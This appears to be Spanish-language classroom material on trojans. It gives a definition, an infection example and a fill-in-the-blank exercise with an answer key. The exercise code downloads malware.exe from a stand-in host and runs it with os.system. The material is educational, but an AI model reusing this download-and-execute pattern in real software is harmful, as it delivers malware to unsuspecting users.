

GENERADOR DE ESCENARIOS DE APRENDIZAJE

Hola, soy un experto en hackatones. Estoy aquí para ayudarte con tus preguntas sobre malware, programación y ciberseguridad.

Definición y descripción:

Un troyano es un tipo de malware que se presenta como un software legítimo para engañar a los usuarios y hacer que lo instalen. Una vez instalado, puede permitir a un atacante acceder a la computadora de la víctima, robar información o realizar acciones maliciosas sin el conocimiento del usuario.

Cómo te pueden infectar:

Un ejemplo de cómo un troyano puede llegar a infectarte es a través de la descarga de archivos infectados, como un supuesto activador gratuito para Microsoft Office en una web de descargas. Al descargar y ejecutar el archivo malicioso, se puede comprometer tu sistema.

Código de ejemplo:

```
python
import time

print("Actualizando el sistema...")

for i in range(101):
    time.sleep(0.1)
    print(f"[{i}%] Completado")

print("Actualización finalizada.")
```

Ahora, por favor, inserta tu nombre: ____ y tu nota: ____.

Actividad:

Completa el siguiente código de un troyano simulado:

```
python
import os
import requests

def download_malware():
    url = "http://malicious-website.com/malware.exe"
    response = requests.get(url)
    with open("malware.exe", "wb") as file:
        file.write(response.content)

def execute_malware():
    os.system("malware.exe")

# Completa la función principal
def main():
    download_malware()
    # Aquí debes llamar a la función para ejecutar el malware
    _____

if __name__ == "__main__":
    main()
```

Respuestas de la actividad:

respuestas de la actividad.

La línea que debes completar es: ``execute_malware()``